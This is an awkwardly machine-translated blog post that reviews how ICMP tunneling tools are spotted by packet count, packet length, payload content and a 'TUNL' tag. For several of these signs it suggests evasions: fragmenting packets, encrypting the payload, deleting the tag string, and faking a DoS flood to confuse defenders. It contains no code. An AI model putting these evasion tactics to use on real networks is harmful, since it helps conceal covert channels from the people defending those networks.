There are more virtual network cards for no reason , It's probably a problem

This detection method cannot be avoided by this tool

(2) testing ping Is it banned

namely /proc/sys/net/ipv4/icmp_echo_ignore_all Is it 1

If this tool regards the target machine as a client , No such problem

(3) abnormal ICMP Number of packets

As shown in the figure ssh When the connection ,1s Internally 20 About a bag , It's all designated IP Address

 Insert picture description here
It seems to be an unavoidable problem

Maybe you can do the opposite , That is, use a large amount of ICMP Packets and other packets flooded the target plane , cause DoS The illusion of attack , The sham as the genuine , Confuse , As the case may be

(4) abnormal ICMP Bag length

Still look at the picture above

However, this can be set to a limited length 64, Slice and assemble

(5)payload Content

For example, the following one is ssh Connect
 Insert picture description here
The content is obviously strange
normal ping command :

windows Under the system ping The default transmission is :abcdefghijklmnopqrstuvwabcdefghi, common 32bytes
linux Under the system ,ping The default transmission is 48bytes, front 8bytes Over time , The back is fixed , The content is !”#$%&’()+,-./01234567

Here we confuse encryption , Will it be better

(6)TUNL label

Tool author jamesbarlow Shifu's evil taste
 Insert picture description here
Just change it in the source code

Conclusion

Than DhavalKapil Master, we should consider more , But it's not bad

Improvement considerations :

  • Change the length and quantity to similar ping command
  • Content obfuscation encryption
  • Delete the character string
  • Consider cross platform

版权声明
本文为[Fish in Siyuan Lake]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230628265522.html